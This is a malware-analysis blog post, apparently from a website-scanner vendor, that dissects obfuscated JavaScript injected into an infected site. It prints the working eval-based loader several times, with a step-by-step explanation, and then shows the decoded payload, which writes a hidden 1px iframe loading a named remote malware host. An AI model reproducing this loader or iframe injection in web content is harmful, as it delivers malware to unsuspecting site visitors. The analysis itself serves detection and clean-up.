Obfuscated malicious JavaScript code generated hidden iframe which loads content from remote website
Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 35 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Website malware scanner report
Fri Mar 29 13:10:09 2013
Infected website's files: 35
Quttera web malware scanner report |
Threat dump:
[[ ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try{document.body%26=5151}catch(gdsgd){v="eva"+"l";if(document)try{document.body=12;}catch(gdsgsdg){vzs=0;try{document;}catch(q){vzs=1;}}if(!vzs)e=window[v];if(1){f=new Array(045,0143,0162,0153,0140,0161,0146,0154,0153,035,045,046,035,0170,012,07,035,035,035,035,0163,0136,0157,035,0154,0164,0167,0153,0142,035,072,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0140,0157,0142,0136,0161,0142,0102,0151,0142,0152,0142,0153,0161,045,044,0146,0143,0157,0136,0152,0142,044,046,070,012,07,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0157,0140,035,072,035,044,0145,0161,0161,0155,067,054,054,0152,0136,0141,0145,0136,0163,0146,0152,0136,0141,0145,0136,0163,053,0140,0154,0152,054,0140,0154,0162,0153,0161,053,0155,0145,0155,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0155,0154,0160,0146,0161,0146,0154,0153,035,072,035,044,0136,0137,0160,0154,0151,0162,0161,0142,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0137,0154,0157,0141,0142,0157,035,072,035,044,055,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0145,0142,0146,0144,0145,0161,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0164,0146,0141,0161,0145,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0151,0142,0143,0161,035,072,035,044,056,0155,0165,044,070,012,07,035,035,035,035,0154,0164,0167,0153,0142,053,0160,0161,0166,0151,0142,053,0161,0154,0155,035,072,035,044,056,0155,0165,044,070,012,07,012,07,035,035,035,035,0146,0143,035,045,036,0141,0154,0140,0162,0152,0142,0153,0161,053,0144,0142,0161,0102,0151,0142,0152,0142,0153,0161,077,0166,0106,0141,045,044,0154,0164,0167,0153,0142,044,046,046,035,0170,012,07,035,035,035,035,035,035,035,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0164,0157,0146,0161,0142,045,044,071,0141,0146,0163,035,0146,0141,072,0131,044,0154,0164,0167,0153,0142,0131,044,073,071,054,0141,0146,0163,073,044,046,070,012,07,035,035,035,035,035,035,035,035,0141,0154,0140,0162,0152,0142,0153,0161,053,0144,0142,0161,0102,0151,0142,0152,0142,0153,0161,077,0166,0106,0141,045,044,0154,0164,0167,0153,0142,044,046,053,0136,0155,0155,0142,0153,0141,0100,0145,0146,0151,0141,045,0154,0164,0167,0153,0142,046,070,012,07,035,035,035,035,0172,012,07,0172,046,045,046,070);}w=f;s=[];if(window.document)for(i=2-2;-i+496!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]+3);}xz=e;if(window.document)if(v)xz(s)}]]
Malware entry
Malware entry details.
Beautified script
-
ff = String;
-
fff = "fromCharCode";
-
ff = ff[fff];
zz = 3;
-
try {
-
document.body % 26 = 5151
-
} catch (gdsgd) {
-
v = "eva" + "l";
-
if (document) try {
-
document.body = 12;
-
} catch (gdsgsdg) {
-
vzs = 0;
-
try {
-
document;
-
} catch (q) {
-
vzs = 1;
-
}
-
}
-
if (!vzs) e = window[v];
-
if (1) {
-
f = new Array(045, 0143, 0162, 0153, 0140, 0161, 0146, 0154, 0153, 035, 045, 046, 035, 0170, 012,07, 035, 035, 035, 035, 0163, 0136, 0157, 035, 0154, 0164, 0167, 0153, 0142, 035, 072, 035, 0141, 0154, 0140,0162, 0152, 0142, 0153, 0161, 053, 0140, 0157, 0142, 0136, 0161, 0142, 0102, 0151, 0142, 0152, 0142, 0153, 0161,045, 044, 0146, 0143, 0157, 0136, 0152, 0142, 044, 046, 070, 012, 07, 012, 07, 035, 035, 035, 035, 0154, 0164,0167, 0153, 0142, 053, 0160, 0157, 0140, 035, 072, 035, 044, 0145, 0161, 0161, 0155, 067, 054, 054, 0152, 0136,0141, 0145, 0136, 0163, 0146, 0152, 0136, 0141, 0145, 0136, 0163, 053, 0140, 0154, 0152, 054, 0140, 0154, 0162,0153, 0161, 053, 0155, 0145, 0155, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0155, 0154, 0160, 0146, 0161, 0146, 0154, 0153, 035, 072, 035, 044, 0136, 0137, 0160,0154, 0151, 0162, 0161, 0142, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0137, 0154, 0157, 0141, 0142, 0157, 035, 072, 035, 044, 055, 044, 070, 012, 07, 035,035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0145, 0142, 0146, 0144, 0145,0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142,053, 0160, 0161, 0166, 0151, 0142, 053, 0164, 0146, 0141, 0161, 0145, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0151,0142, 0143, 0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167,0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0161, 0154, 0155, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 012, 07, 035, 035, 035, 035, 0146, 0143, 035, 045, 036, 0141, 0154, 0140, 0162, 0152, 0142, 0153,0161, 053, 0144, 0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154,0164, 0167, 0153, 0142, 044, 046, 046, 035, 0170, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154,0140, 0162, 0152, 0142, 0153, 0161, 053, 0164, 0157, 0146, 0161, 0142, 045, 044, 071, 0141, 0146, 0163, 035, 0146,0141, 072, 0131, 044, 0154, 0164, 0167, 0153, 0142, 0131, 044, 073, 071, 054, 0141, 0146, 0163, 073, 044, 046,070, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154, 0140, 0162, 0152, 0142, 0153, 0161, 053, 0144,0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154, 0164, 0167, 0153,0142, 044, 046, 053, 0136, 0155, 0155, 0142, 0153, 0141, 0100, 0145, 0146, 0151, 0141, 045, 0154, 0164, 0167,0153, 0142, 046, 070, 012, 07, 035, 035, 035, 035, 0172, 012, 07, 0172, 046, 045, 046, 070);
-
}
-
w = f;
-
s = [];
-
if (window.document) for (i = 2 - 2; - i + 496 != 0; i += 1) {
-
j = i;
-
if ((031 == 0x19)) if (e) s = s + ff(w[j] + 3);
-
}
-
xz = e;
-
if (window.document) if (v) xz(s)
-
}
ff = String;
fff = "fromCharCode";
ff = ff[fff];
zz = 3;
try {
document.body % 26 = 5151
} catch (gdsgd) {
v = "eva" + "l";
if (document) try {
document.body = 12;
} catch (gdsgsdg) {
vzs = 0;
try {
document;
} catch (q) {
vzs = 1;
}
}
if (!vzs) e = window[v];
if (1) {
f = new Array(045, 0143, 0162, 0153, 0140, 0161, 0146, 0154, 0153, 035, 045, 046, 035, 0170, 012,07, 035, 035, 035, 035, 0163, 0136, 0157, 035, 0154, 0164, 0167, 0153, 0142, 035, 072, 035, 0141, 0154, 0140,0162, 0152, 0142, 0153, 0161, 053, 0140, 0157, 0142, 0136, 0161, 0142, 0102, 0151, 0142, 0152, 0142, 0153, 0161,045, 044, 0146, 0143, 0157, 0136, 0152, 0142, 044, 046, 070, 012, 07, 012, 07, 035, 035, 035, 035, 0154, 0164,0167, 0153, 0142, 053, 0160, 0157, 0140, 035, 072, 035, 044, 0145, 0161, 0161, 0155, 067, 054, 054, 0152, 0136,0141, 0145, 0136, 0163, 0146, 0152, 0136, 0141, 0145, 0136, 0163, 053, 0140, 0154, 0152, 054, 0140, 0154, 0162,0153, 0161, 053, 0155, 0145, 0155, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0155, 0154, 0160, 0146, 0161, 0146, 0154, 0153, 035, 072, 035, 044, 0136, 0137, 0160,0154, 0151, 0162, 0161, 0142, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0137, 0154, 0157, 0141, 0142, 0157, 035, 072, 035, 044, 055, 044, 070, 012, 07, 035,035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0145, 0142, 0146, 0144, 0145,0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142,053, 0160, 0161, 0166, 0151, 0142, 053, 0164, 0146, 0141, 0161, 0145, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0151,0142, 0143, 0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167,0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0161, 0154, 0155, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 012, 07, 035, 035, 035, 035, 0146, 0143, 035, 045, 036, 0141, 0154, 0140, 0162, 0152, 0142, 0153,0161, 053, 0144, 0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154,0164, 0167, 0153, 0142, 044, 046, 046, 035, 0170, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154,0140, 0162, 0152, 0142, 0153, 0161, 053, 0164, 0157, 0146, 0161, 0142, 045, 044, 071, 0141, 0146, 0163, 035, 0146,0141, 072, 0131, 044, 0154, 0164, 0167, 0153, 0142, 0131, 044, 073, 071, 054, 0141, 0146, 0163, 073, 044, 046,070, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154, 0140, 0162, 0152, 0142, 0153, 0161, 053, 0144,0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154, 0164, 0167, 0153,0142, 044, 046, 053, 0136, 0155, 0155, 0142, 0153, 0141, 0100, 0145, 0146, 0151, 0141, 045, 0154, 0164, 0167,0153, 0142, 046, 070, 012, 07, 035, 035, 035, 035, 0172, 012, 07, 0172, 046, 045, 046, 070);
}
w = f;
s = [];
if (window.document) for (i = 2 - 2; - i + 496 != 0; i += 1) {
j = i;
if ((031 == 0x19)) if (e) s = s + ff(w[j] + 3);
}
xz = e;
if (window.document) if (v) xz(s)
}
Malicious JavaScript analysis
Malicious script step-by-step explanation down to the payload execution.
1. ff = String.fromCharCode
- ff = String;
- fff = "fromCharCode";
- ff = ff[fff];
- zz = 3;
2. Raise an exception to redirect the execution flow to initialization of "eval" string; v="eval"
- try {
- document.body % 26 = 5151
- } catch (gdsgd) {
- v = "eva" + "l";
3. This operation should raise exception and execution flow ill jump to line of "vzs = 0 "
- if (document) try {
- document.body = 12;
- } catch (gdsgsdg) {
- vzs = 0;
4. This operation does nothing thus no exception will occur and value of vzs stays 0
- try {
- document;
- } catch (q) {
- vzs = 1;
- }
- }
5. e = window["eval"] or e is a reference to eval method
- if (!vzs) e = window[v];
- if (1) {
- f = new Array(045, 0143, 0162, 0153, 0140, 0161, 0146, 0154, 0153, 035, 045, 046, 035, 0170, 012,07, 035, 035, 035, 035, 0163, 0136, 0157, 035, 0154, 0164, 0167, 0153, 0142, 035, 072, 035, 0141, 0154, 0140,0162, 0152, 0142, 0153, 0161, 053, 0140, 0157, 0142, 0136, 0161, 0142, 0102, 0151, 0142, 0152, 0142, 0153, 0161,045, 044, 0146, 0143, 0157, 0136, 0152, 0142, 044, 046, 070, 012, 07, 012, 07, 035, 035, 035, 035, 0154, 0164,0167, 0153, 0142, 053, 0160, 0157, 0140, 035, 072, 035, 044, 0145, 0161, 0161, 0155, 067, 054, 054, 0152, 0136,0141, 0145, 0136, 0163, 0146, 0152, 0136, 0141, 0145, 0136, 0163, 053, 0140, 0154, 0152, 054, 0140, 0154, 0162,0153, 0161, 053, 0155, 0145, 0155, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0155, 0154, 0160, 0146, 0161, 0146, 0154, 0153, 035, 072, 035, 044, 0136, 0137, 0160,0154, 0151, 0162, 0161, 0142, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160,0161, 0166, 0151, 0142, 053, 0137, 0154, 0157, 0141, 0142, 0157, 035, 072, 035, 044, 055, 044, 070, 012, 07, 035,035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0145, 0142, 0146, 0144, 0145,0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142,053, 0160, 0161, 0166, 0151, 0142, 053, 0164, 0146, 0141, 0161, 0145, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167, 0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0151,0142, 0143, 0161, 035, 072, 035, 044, 056, 0155, 0165, 044, 070, 012, 07, 035, 035, 035, 035, 0154, 0164, 0167,0153, 0142, 053, 0160, 0161, 0166, 0151, 0142, 053, 0161, 0154, 0155, 035, 072, 035, 044, 056, 0155, 0165, 044,070, 012, 07, 012, 07, 035, 035, 035, 035, 0146, 0143, 035, 045, 036, 0141, 0154, 0140, 0162, 0152, 0142, 0153,0161, 053, 0144, 0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154,0164, 0167, 0153, 0142, 044, 046, 046, 035, 0170, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154,0140, 0162, 0152, 0142, 0153, 0161, 053, 0164, 0157, 0146, 0161, 0142, 045, 044, 071, 0141, 0146, 0163, 035, 0146,0141, 072, 0131, 044, 0154, 0164, 0167, 0153, 0142, 0131, 044, 073, 071, 054, 0141, 0146, 0163, 073, 044, 046,070, 012, 07, 035, 035, 035, 035, 035, 035, 035, 035, 0141, 0154, 0140, 0162, 0152, 0142, 0153, 0161, 053, 0144,0142, 0161, 0102, 0151, 0142, 0152, 0142, 0153, 0161, 077, 0166, 0106, 0141, 045, 044, 0154, 0164, 0167, 0153,0142, 044, 046, 053, 0136, 0155, 0155, 0142, 0153, 0141, 0100, 0145, 0146, 0151, 0141, 045, 0154, 0164, 0167,0153, 0142, 046, 070, 012, 07, 035, 035, 035, 035, 0172, 012, 07, 0172, 046, 045, 046, 070);
- }
- w = f;
- s = [];
6. Following for statement is a decoder procedure that uses String.fromCharCode( char + 3 ) to decode array's content
- if (window.document) for (i = 2 - 2; - i + 496 != 0; i += 1) {
- j = i;
- if ((031 == 0x19)) if (e) s = s + ff(w[j] + 3);
- }
7. xz set to point to eval method
- xz = e;
- if (window.document) if (v) xz(s) /* this eval(s) */
- }
Malicious payload
Decoded payload generates hidden iframe to http://madhavimadhav[.]com/count[.]php
- (function () {
- var owzne = document.createElement('iframe');
- owzne.src = 'http://madhavimadhav.com/count.php';
- owzne.style.position = 'absolute';
- owzne.style.border = '0';
- owzne.style.height = '1px';
- owzne.style.width = '1px';
- owzne.style.left = '1px';
- owzne.style.top = '1px';
- if (!document.getElementById('owzne')) {
- document.write('<div id=\'owzne\'></div>');
- document.getElementById('owzne').appendChild(owzne);
- }
- })();
Malware clean-up
Such malware is often hidden inside the JavaScript file. If your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
No comments:
Post a Comment